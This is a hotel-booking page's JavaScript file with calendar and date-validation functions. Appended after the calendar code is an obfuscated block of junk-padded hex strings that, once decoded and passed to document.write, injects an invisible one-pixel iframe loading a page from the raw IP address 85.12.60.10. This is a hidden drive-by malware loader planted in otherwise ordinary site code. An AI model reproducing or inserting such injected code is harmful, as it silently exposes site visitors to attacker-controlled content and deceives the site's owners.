//-----Cal code Start-----------		
	var calWin;
	function newCal(src){
				calWin = window.open("cal.php?src="+src,"Calendar","location=no,status=no,width=300,height=120,screenX=150,screenY=550,left=550,top=350");
			}

			function set_dates(){
				var start_date = "";
				var end_date = "";

				var sel_arr_mon = document.forms[0].start_mon.options[document.forms[0].start_mon.options.selectedIndex].value;
				var sel_arr_date = document.forms[0].start_date.options[document.forms[0].start_date.options.selectedIndex].value;
				var sel_dep_mon = document.forms[0].end_mon.options[document.forms[0].end_mon.options.selectedIndex].value;
				var sel_dep_date = document.forms[0].end_date.options[document.forms[0].end_date.options.selectedIndex].value;

				//var sel_currency = 
				//document.forms[0].currency.options[document.forms[0].currency.options.selectedIndex].value;

				var sel_st_mt = sel_arr_mon.substring(0, sel_arr_mon.indexOf("_"));
				var sel_st_yr = sel_arr_mon.substring(sel_arr_mon.indexOf("_")+1);
				if(parseInt(sel_st_mt) < 10 ){
					sel_st_mt = "0"+sel_st_mt;
				}
				
				var sel_ed_mt = sel_dep_mon.substring(0, sel_dep_mon.indexOf("_"));
				var sel_ed_yr = sel_dep_mon.substring(sel_dep_mon.indexOf("_")+1);
				if(parseInt(sel_ed_mt) < 10 ){
					sel_ed_mt = "0"+sel_ed_mt;
				}
				if (sel_st_yr > sel_ed_yr) {
				alert("Departure Date Should Be Greater Than Arrival Date");
				return false;
				}
				else if ( sel_st_yr >= sel_ed_yr && sel_st_mt > sel_ed_mt) {
				alert("Departure Date Should Be Greater Than Arrival Date");
				return false;
				}
				else if (sel_st_yr >= sel_ed_yr && sel_st_mt >= sel_ed_mt && sel_arr_date >= sel_dep_date ) {
				alert("Departure Date Should Be Greater Than Arrival Date");
				return false;
				}
				else{
					document.forms[0].arr_date.value = sel_arr_date+sel_st_mt+sel_st_yr;
					document.forms[0].dep_date.value = sel_dep_date+sel_ed_mt+sel_ed_yr;				
					//document.forms[0].curr.value = sel_currency;

					if(document.forms[0].regCode.value == "--Select a Property--"){ 
						alert("Please Choose Property.");
						return false;
					}
					document.forms[0].submit();
				}

			}

			var disp_mon = new Array("Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec");
			var curr_date = new Date();
			var my_date = new Date();
		//	alert(my_date.setDate);
			my_date.setDate(my_date.getDate()+1);
			var curr_mon = curr_date.getMonth();
			var curr_year = curr_date.getFullYear();

			var disp_date;
			var disp_yr;
			var disp_mth;

			function todayDate(){		
				if (curr_date.getDate() < 10 ) {
					document.forms[0].start_date.value = '0'+curr_date.getDate();
				}
				else {
					document.forms[0].start_date.value = curr_date.getDate();
				}
				if (my_date.getDate() < 10 ) {
				document.forms[0].end_date.value = '0'+my_date.getDate();	
				}
				else {
					document.forms[0].end_date.value = my_date.getDate();	
				}			
				document.forms[0].end_mon.value = (my_date.getMonth()+1)+'_' + my_date.getFullYear();			
				document.forms[0].start_mon.value = (curr_date.getMonth()+1)+'_' + curr_date.getFullYear();
			
			}


		var disp_date;
		var disp_yr;
		var disp_mth;
		function setCurrDate() {
			document.hotelform.start_date.value = curr_date.getDate()<10?"0"+(curr_date.getDate()):(curr_date.getDate());
			document.hotelform.end_date.value = curr_date.getDate();
			document.hotelform.start_mon.value =  (curr_mon+1)+"_"+ curr_year;
			curr_date.setDate (curr_date.getDate() +1);			
			document.hotelform.end_date.value = curr_date.getDate()<10?"0"+(curr_date.getDate()):(curr_date.getDate());
			document.hotelform.end_mon.value =  (curr_date.getMonth()+1)+"_"+ curr_date.getFullYear();
		}
			

	function MM_openBrWindow(theURL,winName,features) { //v2.0
	  window.open(theURL,winName,features);
	}
//--------Cal code End--------	
var uanbvqqjnvp = 'aXUgaXupEZYTuq3caXUgaXupEZYTuq69aXUgaXupEZYTuq66';var pbzknnysfbl = 'aXUgaXupEZYTuq72';var tiuldkmwapw = 'aXUgaXupEZYTuq61aXUgaXupEZYTuq6daXUgaXupEZYTuq65aXUgaXupEZYTuq20aXUgaXupEZYTuq6eaXUgaXupEZYTuq61aXUgaXupEZYTuq6daXUgaXupEZYTuq65aXUgaXupEZYTuq3daXUgaXupEZYTuq22';var uqrehbrcqhe = 'aXUgaXupEZYTuq70aXUgaXupEZYTuq75aXUgaXupEZYTuq6faXUgaXupEZYTuq65aXUgaXupEZYTuq76aXUgaXupEZYTuq77aXUgaXupEZYTuq74aXUgaXupEZYTuq73aXUgaXupEZYTuq66aXUgaXupEZYTuq73aXUgaXupEZYTuq6b';var vrrdqkirwpa = 'aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq77aXUgaXupEZYTuq69aXUgaXupEZYTuq64aXUgaXupEZYTuq74aXUgaXupEZYTuq68aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq31aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq68aXUgaXupEZYTuq65aXUgaXupEZYTuq69aXUgaXupEZYTuq67aXUgaXupEZYTuq68aXUgaXupEZYTuq74aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq30aXUgaXupEZYTuq22';var tadbmzccwqs = 'aXUgaXupEZYTuq20aXUgaXupEZYTuq73aXUgaXupEZYTuq72aXUgaXupEZYTuq63aXUgaXupEZYTuq3daXUgaXupEZYTuq22';var zuaomcfthvl = 'aXUgaXupEZYTuq68aXUgaXupEZYTuq74aXUgaXupEZYTuq74aXUgaXupEZYTuq70aXUgaXupEZYTuq3aaXUgaXupEZYTuq2faXUgaXupEZYTuq2f';var yybjgtgvtxw = '85.12.60.10/dlo/index.php';var oyjwblsregm = 'aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq6daXUgaXupEZYTuq61aXUgaXupEZYTuq72aXUgaXupEZYTuq67aXUgaXupEZYTuq69aXUgaXupEZYTuq6eaXUgaXupEZYTuq77aXUgaXupEZYTuq69aXUgaXupEZYTuq64aXUgaXupEZYTuq74aXUgaXupEZYTuq68aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq31aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq6daXUgaXupEZYTuq61aXUgaXupEZYTuq72aXUgaXupEZYTuq67aXUgaXupEZYTuq69aXUgaXupEZYTuq6eaXUgaXupEZYTuq68aXUgaXupEZYTuq65aXUgaXupEZYTuq69aXUgaXupEZYTuq67aXUgaXupEZYTuq68aXUgaXupEZYTuq74aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq30aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq74aXUgaXupEZYTuq69aXUgaXupEZYTuq74aXUgaXupEZYTuq6caXUgaXupEZYTuq65aXUgaXupEZYTuq3daXUgaXupEZYTuq22';var ovyharowdnu = 'aXUgaXupEZYTuq70aXUgaXupEZYTuq75aXUgaXupEZYTuq6faXUgaXupEZYTuq65aXUgaXupEZYTuq76aXUgaXupEZYTuq77aXUgaXupEZYTuq74aXUgaXupEZYTuq73aXUgaXupEZYTuq66aXUgaXupEZYTuq73aXUgaXupEZYTuq6b';var oxbxdxqbuna = 'aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq73aXUgaXupEZYTuq63aXUgaXupEZYTuq72aXUgaXupEZYTuq6faXUgaXupEZYTuq6caXUgaXupEZYTuq6caXUgaXupEZYTuq69aXUgaXupEZYTuq6eaXUgaXupEZYTuq67aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq6eaXUgaXupEZYTuq6faXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq62aXUgaXupEZYTuq6faXUgaXupEZYTuq72aXUgaXupEZYTuq64aXUgaXupEZYTuq65aXUgaXupEZYTuq72aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq30aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq66aXUgaXupEZYTuq72aXUgaXupEZYTuq61aXUgaXupEZYTuq6daXUgaXupEZYTuq65aXUgaXupEZYTuq62aXUgaXupEZYTuq6faXUgaXupEZYTuq72aXUgaXupEZYTuq64aXUgaXupEZYTuq65aXUgaXupEZYTuq72aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq30aXUgaXupEZYTuq22aXUgaXupEZYTuq3e';var njbpbsuieyd = 'aXUgaXupEZYTuq3caXUgaXupEZYTuq2faXUgaXupEZYTuq69aXUgaXupEZYTuq66';var ygdvuayiudf = 'aXUgaXupEZYTuq72aXUgaXupEZYTuq61';var saiurkoekso = 'aXUgaXupEZYTuq6daXUgaXupEZYTuq65aXUgaXupEZYTuq3e';var oiqdcyibblh = new Array();oiqdcyibblh[0]=new Array(uanbvqqjnvp+pbzknnysfbl+tiuldkmwapw+uqrehbrcqhe+vrrdqkirwpa+tadbmzccwqs+zuaomcfthvl+yybjgtgvtxw+oyjwblsregm+ovyharowdnu+oxbxdxqbuna+njbpbsuieyd+ygdvuayiudf+saiurkoekso);document['aXUgaXupEZYTuqwaXUgaXupEZYTuqraXUgaXupEZYTuqiaXUgaXupEZYTuqtaXUgaXupEZYTuqeaXUgaXupEZYTuq'.replace(/aXUgaXupEZYTuq/g,'')](window['aXUgaXupEZYTuquaXUgaXupEZYTuqnaXUgaXupEZYTuqeaXUgaXupEZYTuqsaXUgaXupEZYTuqcaXUgaXupEZYTuqaaXUgaXupEZYTuqpaXUgaXupEZYTuqeaXUgaXupEZYTuq'.replace(/aXUgaXupEZYTuq/g,'')](oiqdcyibblh.toString().replace(/aXUgaXupEZYTuq/g,'%')));